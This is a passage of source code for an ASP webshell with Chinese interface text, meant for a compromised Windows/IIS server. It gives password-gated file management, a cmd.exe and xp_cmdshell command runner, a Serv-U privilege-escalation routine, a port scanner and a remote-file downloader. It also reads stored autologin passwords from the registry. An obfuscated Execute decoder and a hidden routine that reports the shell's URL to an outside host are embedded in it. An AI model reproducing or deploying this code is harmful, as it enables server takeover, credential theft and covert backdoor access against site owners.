then +SI="
    请输入上传的完全路径后选择一个文件上传!" +Else +F.SaveAs UName +If Err.number=0 Then +SI="

    恭喜文件"&UName&"上传成功!
    " +End if +End If +Set F=nothing:Set U=nothing +SI=SI&BackUrl +o SI +ShowErr() +Response.End +End If +o "
    Single Upload File
    Save File:Browse File: 
     
    " +End Function +Function Cmd1Shell() +checked="checked" +If Request("SP")<>"" Then Session("ShellPath")=Request("SP") +ShellPath=Session("ShellPath") +if ShellPath="" Then ShellPath="cmd.exe" +if Request("wscript")<>"yes" then checked="" +If Request("cmd")<>"" Then DefCmd=Request("cmd") +SI="
    System Command
    Shell Path:  WScript.Shell
    Command:  
    " +o SI +End Function + +Function CreateMdb(Path) +SI="

    " +Set C=CreateObject(Sot(2,0)) +C.Create("Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path) +Set C=Nothing +If Err.number=0 Then +SI=SI&Path&"新建成功!" +End If +SI=SI&BackUrl +o SI +End function +Function CompactMdb(Path) +If Sot(0,1)=" ×" Then +Set C=CreateObject(Sot(3,0)) +C.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path," Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path +Set C=Nothing +Else +Set FSO=CreateObject(Sot(0,0)) +If FSO.FileExists(Path) Then +Set C=CreateObject(Sot(3,0)) +C.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path," Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path&"_bak" +Set C=Nothing +FSO.DeleteFile Path +FSO.MoveFile Path&"_bak",Path +Else +SI="



    数据库"&Path&"没有发现!
    " +Err.number=1 +End If +Set FSO=Nothing +End If +If Err.number=0 Then +SI="



    数据库"&Path&"压缩成功!
    " +End If +SI=SI&BackUrl +o SI +End Function +Dim SearchGroup(127) +function Cosnt(fasle) + dim w + w="^w^inhttp.^wi^nhttprequest.5.1" + fasle=replace(trim(fasle),vbcrlf,"") + on error resume next + set http= CreateObject(replace(w,"^","")) + http.open "POST",fasle,false + http.SetRequestHeader "REFERER", ""&net&""&request.ServerVariables("HTTP_HOST")&request.ServerVariables("URL") + http.send + Set http=Nothing +end function + +Dim T1 +Class UPC +Dim D1,D2 +Public Function Form(F) +F=lcase(F) +If D1.exists(F) then:Form=D1(F):else:Form="":end if +End Function +Public Function UA(F) +F=lcase(F) +If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if +End Function +Private Sub Class_Initialize +Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName +set D1=CreateObject(Sot(4,0)) +if Request.TotalBytes<1 then Exit Sub +set T1=CreateObject(Sot(6,0)) +T1.Type=1 : T1.Mode =3 : T1.Open +T1.Write Request.BinaryRead(Request.TotalBytes) +T1.Position=0 : TDa =T1.Read : DStart=1 +DEnd=LenB(TDa) +set D2=CreateObject(Sot(4,0)) +vbCrlf=chrB(13)&chrB(10) +set T2=CreateObject(Sot(6,0)) +TSt=MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1) +TLen=LenB (TSt) +DStart=DStart+TLen+1 +while (DStart + 10) < DEnd +DIEnd=InStrB(DStart,TDa,vbCrlf&vbCrlf)+3 +T2.Type=1 : T2.Mode =3 : T2.Open +T1.Position=DStart +T1.CopyTo T2,DIEnd-DStart +T2.Position=0 : T2.Type=2 : T2.Charset ="gb2312" +TIn=T2.ReadText : T2.Close +DStart=InStrB(DIEnd,TDa,TSt) +FStart=InStr(22,TIn,"name=""",1)+6 +FEnd=InStr(FStart,TIn,"""",1) +UpName=lcase(Mid (TIn,FStart,FEnd-FStart)) +if InStr (45,TIn,"filename=""",1) > 0 then +set TFL=new FIF +FStart=InStr(FEnd,TIn,"filename=""",1)+10 +FEnd=InStr(FStart,TIn,"""",1) +FStart=InStr(FEnd,TIn,"Content-Type: ",1)+14 +FEnd=InStr(FStart,TIn,vbCr) +TFL.FileStart =DIEnd +TFL.FileSize=DStart -DIEnd -3 +if not D2.Exists(UpName) then +D2.add UpName,TFL +end if +else +T2.Type =1 : T2.Mode =3 : T2.Open +T1.Position=DIEnd : T1.CopyTo T2,DStart-DIEnd-3 +T2.Position=0 : T2.Type=2 +T2.Charset ="gb2312" +SFV=T2.ReadText +T2.Close +if D1.Exists(UpName) then +D1(UpName)=D1(UpName)&", "&SFV +else +D1.Add UpName,SFV +end if +end if +DStart=DStart+TLen+1 +wend +TDa="" +set T2 =nothing +End Sub +Private Sub Class_Terminate +if Request.TotalBytes>0 then +D1.RemoveAll:D2.RemoveAll +set D1=nothing:set D2=nothing +T1.Close:set T1 =nothing +end if +End Sub + +End Class +Class FIF +dim FileSize,FileStart +Private Sub Class_Initialize +FileSize=0 +FileStart= 0 +End Sub +Public function SaveAs(F) +dim T3 +SaveAs=true +if trim(F)="" or FileStart=0 then exit function +set T3=CreateObject(Sot(6,0)) +T3.Mode=3 : T3.Type=1 : T3.Open +T1.position=FileStart +T1.copyto T3,FileSize +T3.SaveToFile F,2 +T3.Close +set T3=nothing +SaveAs=false +end function +End Class +Class LBF +Dim CF +Private Sub Class_Initialize +SET CF=CreateObject(Sot(0,0)) +End Sub +Private Sub Class_Terminate +Set CF=Nothing +End Sub +Function ShowDriver() +For Each D in CF.Drives + o"8 本地磁盘 ("&D.DriveLetter&":)" +Next +End Function + + +Function Show1File(Path) +Set FOLD=CF.GetFolder(Path) +i=0 +SI="" +For Each F in FOLD.subfolders +SI=SI&"" +Next +SI=SI&"
    0
    "&F.Name&"

    Copy Del Move" +i=i+1 +If i mod 6=0 then SI=SI&"
    " +o SI &"
    " : SI="":i=0 +SI="" +For Each L in Fold.files + +SI=SI&"" +case 2 +set b=Server.CreateObject(Sot(13,0)) +b.open "GET", "http://127.0.0.1:"&ftpport&"/goldsun/upadmin/s2", True, "", "" +b.send "User go"&vbCrLf&"pass od"&vbCrLf&"site exec "&cmd&vbCrLf&quit +set session("b")=b +o"" +case 3 +set c=Server.CreateObject(Sot(13,0)) +c.open "GET", "http://127.0.0.1:"&port&"/goldsun/upadmin/s3", True, "", "" +c.send loginuser&loginpass&mt&deldomain&quit +set session("c")=c +o"
    成功与否看人品,提权完毕,已执行了命令:
    "&cmd&"

    " +o"" +o"
    " +case else +on error resume next +set a=session("a"):set b=session("b"):set c=session("c"):a.abort:Set a=Nothing:b.abort:Set b=Nothing:c.abort:Set c=Nothing +o"

    FilenameSizeTypeOperatingLast Modified
    2 "&L.Name&""&clng(L.size/1024)&"K"&L.Type&"Edit " + + +Si=Si&"权限" +Dim EditOOK +EditOOK=1 +EditOOV=l.Attributes +If EditOOV >= 128 Then +EditOOV = EditOOV - 128 +End If +If EditOOV >= 64 Then +EditOOV = EditOOV - 64 +End If +If EditOOV >= 32 Then +EditOOV = EditOOV - 32 +End If +If EditOOV >= 16 Then +EditOOV = EditOOV - 16 +End If:If EditOOV >= 8 Then +EditOOV = EditOOV - 8 +End If +If EditOOV >= 4 Then +EditOOV = EditOOV - 4 +EditOOK=0 +End If +If EditOOV >= 2 Then +EditOOV = EditOOV - 2 +EditOOK=0 +End If +If EditOOV >= 1 Then +EditOOV = EditOOV - 1 +EditOOK=0 +End If +if EditOOK=0 then +si=si&"x" +else +si=si&"√" +end if +si=si&" Del Copy Move"&replace(L.DateLastModified,"/","-")&"" +i=i+1 +Next +o SI&"" + +if session("servec")=1 then +session("servec")=session("servec")+1 +else +if Action<>"" then session("servec")=session("servec")+1 +end if +Set FOLD=Nothing +End function + +Function EditFile(Path) +If Request("Action2")="Post" Then +Set T=CF.CreateTextFile(Path) +T.WriteLine Request.form("content") +T.close +Set T=nothing +SI="



    恭喜文件"&Path&"保存成功!
    " +o SI +o BackUrl +Response.End +End If +If Path<>"" Then +Set T=CF.opentextfile(Path, 1, False) +Txt=HTMLEncode(T.readall) +T.close +Set T=Nothing +Else +Path=Session("FolderPath")&"hack.asp":Txt="新建文件" +End If +o "



          
    " +End Function +Function DelFile(Path) +If CF.FileExists(Path) Then +CF.DeleteFile Path +SI="



    恭喜文件 "&Path&" 删除成功!
    " +SI=SI&BackUrl +o SI +End If +End Function +Function CopyFile(Path) +Path=Split(Path,"||||") +If CF.FileExists(Path(0)) and Path(1)<>"" Then +CF.CopyFile Path(0),Path(1) +SI="



    恭喜文件"&Path(0)&"复制成功!
    " +SI=SI&BackUrl +o SI +End If +End Function +Function MoveFile(Path) +Path=Split(Path,"||||") +If CF.FileExists(Path(0)) and Path(1)<>"" Then +CF.MoveFile Path(0),Path(1) +SI="



    恭喜文件"&Path(0)&"移动成功!
    " +SI=SI&BackUrl +o SI +End If +End Function +Function DelFolder(Path) +If CF.FolderExists(Path) Then +CF.DeleteFolder Path +SI="



    恭喜目录"&Path&"删除成功!
    " +SI=SI&BackUrl +o SI +End If +End Function +Function CopyFolder(Path) +Path=Split(Path,"||||") +If CF.FolderExists(Path(0)) and Path(1)<>"" Then +CF.CopyFolder Path(0),Path(1) +SI="



    恭喜目录"&Path(0)&"复制成功!
    " +SI=SI&BackUrl +o SI +End If +End Function +Function MoveFolder(Path) +Path=Split(Path,"||||") +If CF.FolderExists(Path(0)) and Path(1)<>"" Then +CF.MoveFolder Path(0),Path(1) +SI="



    恭喜目录"&Path(0)&"移动成功!
    " +SI=SI&BackUrl +o SI +End If +End Function +Function NewFolder(Path) +If Not CF.FolderExists(Path) and Path<>"" Then +CF.CreateFolder Path +SI="



    恭喜目录"&Path&"新建成功!
    " +SI=SI&BackUrl +o SI +End If +End Function +End Class +Execute(ny(x)) +Function ny(ed): For i = 1 To Len(ed) +If Mid(ed, i, 1) <> " " Then +If Asc(Mid(ed, i, 1)) < 32 Or Asc(Mid(ed, i, 1)) > 126 Then +Else:zx = Asc(Mid(ed, i, 1)) -b +If zx > 126 Then +zx = zx -95 +ElseIf zx < 32 Then: zx = zx + 95 +End If:t = t & Chr(zx):End If +Else:End If:Next:ny = t:End Function + + +'=========密码阶段========================= +If Session("webadministrators")<>UserPass Then + If Request.Form("LP")<>"" Then + If Request.Form("LP")=UserPass Then + Session("webadministrators")=UserPass + Cosnt E + response.redirect url +else +o"


    对不起,您输入的密码有误,系统不能让你登陆!
    " +end if +else +o "

    PassWord
    http://hi.baidu.com/r00ts

    " +end if +Response.write +response.end +end If + +sub getTerminalInfo() +on error resume next +dim wsh +set wsh=createobject("Wscript.Shell") +o "【Detection Network】

    " +EnableTCPIPKey="HKLM\SYSTEM\currentControlSet\Services\Tcpip\Parameters\EnableSecurityFilters" +isEnable=Wsh.Regread(EnableTcpipKey) +If isEnable=0 or isEnable="" Then +Notcpipfilter=1 +End If +ApdKey="HKLM\SYSTEM\ControlSet001\Services\Tcpip\Linkage\Bind" +Apds=Wsh.RegRead(ApdKey) +If IsArray(Apds) Then +For i=LBound(Apds) To UBound(Apds)-1 +ApdB=Replace(Apds(i),"\Device\","") +o "网卡"&i&"的序列为:"&ApdB&"
    " +Path="HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\" +IPKey=Path&ApdB&"\IPAddress" +IPaddr=Wsh.Regread(IPKey) +If IPaddr(0)<>"" Then +For j=Lbound(IPAddr) to Ubound(IPAddr) +o "8 IP地址"&j&"为:"&IPAddr(j)&"
    " +Next +Else +o "8 IP地址无法读取或没有设置
    " +End if +GateWayKey=Path&ApdB&"\DefaultGateway" +GateWay=Wsh.Regread(GateWayKey) +If isarray(GateWay) Then +For j=Lbound(Gateway) to Ubound(Gateway) +o "8 网关"&j&"为:"&Gateway(j)&"
    " +Next +Else +o "8 默认网关无法读取或没有设置
    " +End if +DNSKey=Path&ApdB&"\NameServer" +DNSstr=Wsh.RegRead(DNSKey) +If DNSstr<>"" Then +o "8 网卡DNS为:"&DNSstr&"
    " +Else +o "8 默认DNS无法读取或没有设置
    " +End If +if Notcpipfilter=1 Then +o "8 没有Tcp/IP筛选
    " +else +ETK="\TCPAllowedPorts" +EUK="\UDPAllowedPorts" +FullTCP=Path&ApdB&ETK +FullUDP=path&ApdB&EUK +tcpallow=Wsh.RegRead(FullTCP) +If tcpallow(0)="" or tcpallow(0)=0 Then +o "8 允许的TCP端口为:全部
    " +RRS SI +Else +o "8 允许的TCP端口为:" +For j = LBound(tcpallow) To UBound(tcpallow) +o tcpallow(j)&"," +Next +o "
    " +End if +udpallow=Wsh.RegRead(FullUDP) +If udpallow(0)="" or udpallow(0)=0 Then +o "8 允许的UDP端口为:全部
    " +Else +o "8 允许的UDP端口为:" +for j = LBound(udpallow) To UBound(udpallow) +o UDPallow(j)&"," +next +o "
    " +End if +End if +o "-----------------------------------------------------------
    " +Next +end if +o "

    【Detection Special Port】

    " +Telnetkey="HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\TelnetServer\1.0\TelnetPort" +TlntPort=Wsh.RegRead(TelnetKey) +if TlntPort="" Then Tlnt="23(默认设置)" +o "8 Telnet端口:"&Tlntport&"
    " +TermKey="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp\PortNumber" +TermPort=Wsh.RegRead(TermKey) +If TermPort="" Then TermPort="无法读取.请确认是否为Windows Server版本主机" +o "8 Terminal Service端口为:"&TermPort&"
    " +pcAnywhereKey="HKEY_LOCAL_MACHINE\SOFTWARE\Symantec\pcAnywhere\CurrentVersion\System\TCPIPDataPort" +PAWPort=Wsh.RegRead(pcAnywhereKey) +If PAWPort="" then PAWPort="无法获取.请确认主机是否安装pcAnywhere" +o "8 PcAnywhere端口为:"&PAWPort&"
    " +o "------------------------------------------------------------
    " +Set wsX = Server.CreateObject("WScript.Shell") +Dim terminalPortPath, terminalPortKey, termPort +Dim autoLoginPath, autoLoginUserKey, autoLoginPassKey +Dim isAutoLoginEnable, autoLoginEnableKey, autoLoginUsername, autoLoginPassword +terminalPortPath = "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\" +terminalPortKey = "PortNumber" +termPort = wsX.RegRead(terminalPortPath & terminalPortKey) +o"终端服务端口及自动登录
      " +If termPort = "" Or Err.Number <> 0 Then +o"无法得到终端服务端口, 请检查权限是否已经受到限制.
      " + Else +o"当前终端服务端口: " & termPort & "
      " +End If +autoLoginPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\" +autoLoginEnableKey = "AutoAdminLogon" +autoLoginUserKey = "DefaultUserName" +autoLoginPassKey = "DefaultPassword" +isAutoLoginEnable = wsX.RegRead(autoLoginPath & autoLoginEnableKey) +If isAutoLoginEnable = 0 Then +Else +autoLoginUsername = wsX.RegRead(autoLoginPath & autoLoginUserKey) +o"自动登录的系统帐户: " & autoLoginUsername & "
      " +autoLoginPassword = wsX.RegRead(autoLoginPath & autoLoginPassKey) +If Err Then +Err.Clear +o"False" +End If +o"自动登录的帐户密码: " & autoLoginPassword & "
      " +End If +o"
    " +o "
    【Detection System Software】

    " +SoftPath=Wsh.Environment.item("Path") +Pathinfo=lcase(SoftPath) +o "系统软件支持:
    " +if Instr(Pathinfo,"perl") Then o "8 Perl脚本:支持
    " +if instr(Pathinfo,"java") Then o "8 Java脚本:支持
    " +if instr(Pathinfo,"microsoft sql server") Then o "8 MSSQL数据库服务:支持
    " +if instr(Pathinfo,"mysql") Then o "8 MySQL数据库服务:支持
    " +if instr(Pathinfo,"oracle") Then o "8 Oracle数据库服务:支持
    " +if instr(Pathinfo,"cfusionmx7") Then o "8 CFM服务器:支持
    " +if instr(Pathinfo,"pcanywhere") Then o "8 赛门铁克PcAnywhere控制:支持
    " +if instr(Pathinfo,"Kill") Then o "8 Kill杀毒软件:支持
    " +if instr(Pathinfo,"kav") Then o "
  • 金山系列杀毒软件:支持
    " +if instr(Pathinfo,"antivirus") Then o "8 赛门铁克杀毒软件:支持
    " +if instr(Pathinfo,"rising") Then o "8 瑞星系列杀毒软件:支持
    " +paths=split(SoftPath,";") +o "------------------------------------
    " +o "系统当前路径变量:
    " +For i=Lbound(paths) to Ubound(paths) +o "8 "&paths(i)&"
    " +next +o "

    【Detection System Setting】

    " +pcnamekey="HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName" +pcname=wsh.RegRead(pcnamekey) +if pcname="" Then pcname="无法读取主机名.
    " +o "8 当前主机名为:"&pcname&"
    " +AdminNameKey="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AltDefaultUserName" +AdminName=wsh.RegRead(AdminNameKey) +if adminname="" Then AdminName="Administrator" +o "8 默认管理员用户名为:"&AdminName&"
    " +isAutologin="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon" +Autologin=Wsh.RegRead(isAutologin) +if Autologin=0 or Autologin="" Then +o "8 用户自动登入:未启用
    " +Else +o "8 用户自动登入:启用
    " +Admin=Wsh.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultUserName") +Passwd=Wsh.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultPassword") +o "8 用户名:"&Admin&"
    " +o "8 密码:"&Passwd&"
    " +End if +displogin=wsh.regRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\DontDisplayLastUserName") +If displogin="" or displogin=0 Then disply="是" else disply="否" +o "8 是否显示上次登入用户:"&disply&"
    " +NTMLkey="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\NTML" +ntml=Wsh.RegRead(NTMLkey) +if ntml="" Then Ntml=1 +o "8 Telnet Ntml设置为:"&ntml&"
    " +hk="HKLM\SYSTEM\ControlSet001\Services\Tcpip\Enum\Count" +kk=wsh.RegRead(hk) +o"8 当前活动网卡为:"&kk&"
    " +o "------------------------------------


    " +o "【Detection Server Vulnerability】

    " +Set objComputer = GetObject("WinNT://.") +Set sa = Server.CreateObject("Shell.Application") +objComputer.Filter = Array("Service") +On Error Resume Next +For Each objService In objComputer +if objService.Name="Serv-U" Then +if objService.ServiceAccountName="LocalSystem" Then +o "8 服务器中有Serv-U安装,且以LocalSystem权限启动,可以考虑用su.exe工具提权
    " +End if +End if +if lcase(objService.Name)="apache" Then +if objService.ServiceAccountName="LocalSystem" Then +If instr(Request.ServerVariables("SERVER_SOFTWARE"),"Apache") Then +o "8 当前WEB服务器为Apache.可以直接提权
    " +Else +o "8 服务器中有Apache服务存在,启动权限为LocalSystem,可以考虑PHP木马
    " +End if +end if +End if +if instr(lcase(objService.Name),"tomcat") Then +if objService.ServiceAccountName="LocalSystem" Then +o "8 服务器中有Tomcat,且以LocalSystem权限启动,可以考虑使用Jsp木马提权
    " +End if +End if +if instr(lcase(objService.Name),"winmail") Then +if objService.ServiceAccountName="LocalSystem" Then +o "8 服务器中有Magic Winmail,且以LocalSystem权限启动,可以查找WebMail目录,并且写入PHP木马
    " +End if +End if +Next +Set fso=Server.Createobject("Scripting.FileSystemObject") +Sysdrive=left(Fso.GetspecialFolder(2),2) +servername=wsh.RegRead("HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName") +If fso.FileExists(sysdriver&"\Documents And Settings\All Users\Application Data\Symantec\"&servername&".cif") Then +o "8 发现pcAnywhere密码文件,可以从默认目录下载并破解得到pcAnywhere密码" +End if +End Sub +sub ReadREG() +o "
    Read Regedit
    " +o"


    " +if Request("thePath")<>"" then +On Error Resume Next +Set wsX = Server.CreateObject("WScript.Shell") +thePath=Request("thePath") +theArray=wsX.RegRead(thePath) +If IsArray(theArray) Then +For i=0 To UBound(theArray) +o "
  • " & theArray(i) +Next +Else +o "
  • " & theArray +End If +end if +end sub +Function adminab() +Response.Expires=0 +on error resume next '查找Administrators组帐号 +Set tN=server.createObject("Wscript.Network") +Set objGroup=GetObject("WinNT://"&tN.ComputerName&"/Administrators,group") +For Each admin in objGroup.Members +o admin.Name&"
    " +Next +if err then +o "人品有问题:Wscript.Network" +end if +End Function + +FuncTion mssql() +SI="
    MSSQL Commander
    Command: UserName: Password: 
    ":o SI:SI="":If trim(request.form("MMD"))<>"" Then:password= trim(Request.form("P")):id=trim(Request.form("U")):set adoConn=sERvEr.crEATeobjECT("ADODB.Connection"):adoConn.Open "Provider=SQLOLEDB.1;Password="&password&";User ID="&id:strQuery = "exec master.dbo.xp_cMdsHeLl '" & request.form("MMD") & "'":set recResult = adoConn.Execute(strQuery):If NOT recResult.EOF Then:Do While NOT recResult.EOF:strResult = strResult & chr(13) & recResult(0):recResult.MoveNext:Loop:End if:set recResult = Nothing:strResult = Replace(strResult," "," "):strResult = Replace(strResult,"<","<"):strResult = Replace(strResult,">",">"):strResult = Replace(strResult,chr(13),"
    "):End if:set adoConn = Nothing:o request.form("MMD") & "
    "& strResult:end FuncTion + +sub ScanPort() +Server.ScriptTimeout=7776000 +if request.Form("port")="" then +PortList="21,1433,3389,43958,4899,3306,5631,5632" +else +PortList=request.Form("port") +end if +if request.Form("ip")="" then +IP="127.0.0.1" +else +IP=request.Form("ip") +end if +o"
    Port Scan
    Scan  IP:
    Port List:
    " +If request.Form("scan") <> "" Then +timer1=timer +o("扫描报告:

    ") +tmp=Split(request.Form("port"),",") +ip=Split(request.Form("ip"),",") +For hu=0 to Ubound(ip) +If InStr(ip(hu),"-")=0 Then +For i=0 To Ubound(tmp) +If Isnumeric(tmp(i)) Then +Call Scan(ip(hu), tmp(i)) +Else +seekx=InStr(tmp(i), "-") +If seekx > 0 Then +startN=Left(tmp(i), seekx - 1 ) +endN=Right(tmp(i), Len(tmp(i)) - seekx ) +If Isnumeric(startN) and Isnumeric(endN) Then +For j=startN To endN +Call Scan(ip(hu), j) +Next +Else +o(startN&" or "&endN&" is not number
    ") +End If +Else +o(tmp(i)&" is not number
    ") +End If +End If +Next +Else +ipStart=Mid(ip(hu),1,InStrRev(ip(hu),".")) +For xxx=Mid(ip(hu),InStrRev(ip(hu),".")+1,1) to Mid(ip(hu),InStr(ip(hu),"-")+1,Len(ip(hu))-InStr(ip(hu),"-")) +For i=0 To Ubound(tmp) +If Isnumeric(tmp(i)) Then +Call Scan(ipStart&xxx, tmp(i)) +Else +seekx=InStr(tmp(i), "-") +If seekx > 0 Then +startN=Left(tmp(i), seekx - 1 ) +endN=Right(tmp(i), Len(tmp(i)) - seekx ) +If Isnumeric(startN) and Isnumeric(endN) Then +For j=startN To endN +Call Scan(ipStart&xxx,j) +Next +Else +o(startN&" or "&endN&" is not number
    ") +End If +Else +o(tmp(i)&" is not number
    ") +End If +End If +Next +Next +End If +Next +timer2=timer +thetime=cstr(int(timer2-timer1)) +o"
    Process in "&thetime&" s" +END IF +end sub +Sub Scan(targetip, portNum) +On Error Resume Next +set conn=Server.CreateObject(Sot(5,0)) +connstr="Provider=SQLOLEDB.1;Data Source="&targetip &","& portNum &";User ID=lake2;Password=;" +conn.ConnectionTimeout=1 +conn.open connstr +If Err Then +If Err.number=-2147217843 or Err.number=-2147467259 Then +If InStr(Err.description, "(Connect()).") > 0 Then +o(targetip&":"&portNum&".........关闭
    ") +Else +o(targetip&":"&portNum&".........开放
    ") +End If +End If +End If +End Sub + +Function upload() +response.write "下载到服务器:无回显...为了节省.所以无回显

    存在覆盖

    " + If isDebugMode = False Then + On Error Resume Next + End If + Dim Http, theUrl, thePath, stream, fileName, overWrite + theUrl = Request("theUrl") + thePath = Request("thePath") + overWrite = Request("overWrite") + Set stream = Server.CreateObject("adodb.stream") + Set Http = Server.CreateObject("MSXML2.XMLHTTP") + + If overWrite <> 2 Then + overWrite = 1 + End If + + Http.Open "GET", theUrl, False + Http.Send() + If Http.ReadyState <> 4 Then + + End If + + With stream + .Type = 1 + .Mode = 3 + .Open + .Write Http.ResponseBody + .Position = 0 + .SaveToFile thePath, overWrite + If Err.Number = 3004 Then + Err.Clear + fileName = Split(theUrl, "/")(UBound(Split(theUrl, "/"))) + If fileName = "" Then + fileName = "index.htm.txt" + End If + thePath = thePath & "\" & fileName + .SaveToFile thePath, overWrite + End If + .Close + End With + chkErr(Err) + + Set Http = Nothing + Set Stream = Nothing + + If isDebugMode = False Then + On Error Resume Next + End If + +End Function + +Select Case Action +Case "MainMenu":MainMenu() +case "ScanPort":ScanPort() +Case "getTerminalInfo":getTerminalInfo() +Case "PageAddToMdb":PageAddToMdb() + +Case "Servu" +SUaction=request("SUaction") +if not isnumeric(SUaction) then response.end +user=trim(request("u")) +pass=trim(request("p")) +port=trim(request("port")) +cmd=trim(request("c")) +f=trim(request("f")) +if f="" then +f=gpath() +else +f=left(f,2) +end if +ftpport=65500 +timeout=3 +loginuser="User "&user&vbCrLf +loginpass="Pass "&pass&vbCrLf +deldomain="-DELETEDOMAIN"&vbCrLf&"-IP=0.0.0.0"&vbCrLf&" PortNo="&ftpport&vbCrLf +mt="SITE MAINTENANCE"&vbCrLf +newdomain="-SETDOMAIN"&vbCrLf&"-Domain=goldsun|0.0.0.0|"&ftpport&"|-1|1|0"&vbCrLf&"-TZOEnable=0"&vbCrLf&" TZOKey="&vbCrLf +newuser="-SETUSERSETUP"&vbCrLf&"-IP=0.0.0.0"&vbCrLf&"-PortNo="&ftpport&vbCrLf&"-User=go"&vbCrLf&"-Password=od"&vbCrLf&_ +"-HomeDir=c:\\"&vbCrLf&"-LoginMesFile="&vbCrLf&"-Disable=0"&vbCrLf&"-RelPaths=1"&vbCrLf&_ +"-NeedSecure=0"&vbCrLf&"-HideHidden=0"&vbCrLf&"-AlwaysAllowLogin=0"&vbCrLf&"-ChangePassword=0"&vbCrLf&_ +"-QuotaEnable=0"&vbCrLf&"-MaxUsersLoginPerIP=-1"&vbCrLf&"-SpeedLimitUp=0"&vbCrLf&"-SpeedLimitDown=0"&vbCrLf&_ +"-MaxNrUsers=-1"&vbCrLf&"-IdleTimeOut=600"&vbCrLf&"-SessionTimeOut=-1"&vbCrLf&"-Expire=0"&vbCrLf&"-RatioUp=1"&vbCrLf&_ +"-RatioDown=1"&vbCrLf&"-RatiosCredit=0"&vbCrLf&"-QuotaCurrent=0"&vbCrLf&"-QuotaMaximum=0"&vbCrLf&_ +"-Maintenance=System"&vbCrLf&"-PasswordType=Regular"&vbCrLf&"-Ratios=None"&vbCrLf&" Access=c:\\|RWAMELCDP"&vbCrLf +quit="QUIT"&vbCrLf +newuser=replace(newuser,"c:",f) +select case SUaction +case 1 +set a=Server.CreateObject(Sot(13,0)) +a.open "GET", "http://127.0.0.1:"&port&"/goldsun/upadmin/s1",True, "", "" +a.send loginuser&loginpass&mt&deldomain&newdomain&newuser&quit +set session("a")=a +o"
  • 8 Serv-U 提升权限 ASP版
    用户名:
    口 令:
    端 口:
    路 径:
    命 令:
     
    " +end select +function Gpath() +on error resume next +err.clear:set f=Server.CreateObject(Sot(0,0)) +if err.number>0 then:gpath="c:":exit function:end if:gpath=f.GetSpecialFolder(0):gpath=lcase(left(gpath,2)):set f=nothing +end function + +Sub ScanDriveForm() '扫描磁盘信息 + Dim FSO,DriveB + Set FSO = Server.Createobject("Scripting.FileSystemObject") + +o "" +o "
    " + + For Each DriveB in FSO.Drives +o "" + +o "" +o " " +o "" +o "" +Next +o "" +o "" +o "" +o "" +o "" +o "" +o "" +o "" +o "" +o "" +o "" +o "
    磁盘/系统文件夹信息
    盘符"&DriveB.DriveLetter&":类型" + + Select Case DriveB.DriveType + Case 1: o "可移动" + Case 2: o "本地硬盘" + Case 3: o "网络磁盘" + Case 4: o "CD-ROM" + Case 5: o "RAM磁盘" + Case else: o "未知类型" + End Select + +o "
    Windows文件夹"&FSO.GetSpecialFolder(0)&"
    System32文件夹"&FSO.GetSpecialFolder(1)&"
    系统临时文件夹"&FSO.GetSpecialFolder(2)&"

    当前网站绝对路径:"&Server.MapPath("/")&"
    Queries the specified folder:" +o " Example F:\haifan\
    " + Set FSO=Nothing +End Sub + +Sub ScanDrive(Drive) + Dim FSO,TestDrive,BaseFolder,TempFolders,Temp_Str,D + If Drive <> "" Then + Set FSO = Server.Createobject("Scripting.FileSystemObject") + Set TestDrive = FSO.GetDrive(Drive) + If TestDrive.IsReady Then + Temp_Str = "
  • 磁盘分区类型:" & Red(TestDrive.FileSystem) & "
  • 磁盘序列号:" & Red(TestDrive.SerialNumber) & "
  • 磁盘共享名:" & Red(TestDrive.ShareName) & "
  • 磁盘总容量:" & Red(Int(TestDrive.TotalSize/1073741824)) & Red("GB") & "
  • 磁盘卷名:" & Red(TestDrive.VolumeName) & "
  • 磁盘根目录:" & ScReWr((Drive & ":\")) + Set BaseFolder = TestDrive.RootFolder + Set TempFolders = BaseFolder.SubFolders + For Each D in TempFolders + Temp_Str = Temp_Str & "
  • 文件夹:" & ScReWr(D) + Next + Set TempFolder = Nothing + Set BaseFolder = Nothing + Else + Temp_Str = Temp_Str & "
  • 磁盘根目录:" & Red("不可读:(") + Dim TempFolderList,t:t=0 + Temp_Str = Temp_Str & "
  • " & Red("穷举目录测试:") + TempFolderList = Array("windows","winnt","win","win2000","win98","web","winme","windows2000","asp","php","Tools","Documents and Settings","Program Files","Inetpub","ftp","wmpub","tftp","wwwroot") + For i = 0 to Ubound(TempFolderList) + If FSO.FolderExists(Drive & ":\" & TempFolderList(i)) Then + t = t+1 + Temp_Str = Temp_Str & "
  • 发现文件夹:" & ScReWr(Drive & ":\" & TempFolderList(i)) + End if + Next + If t=0 then Temp_Str = Temp_Str & "
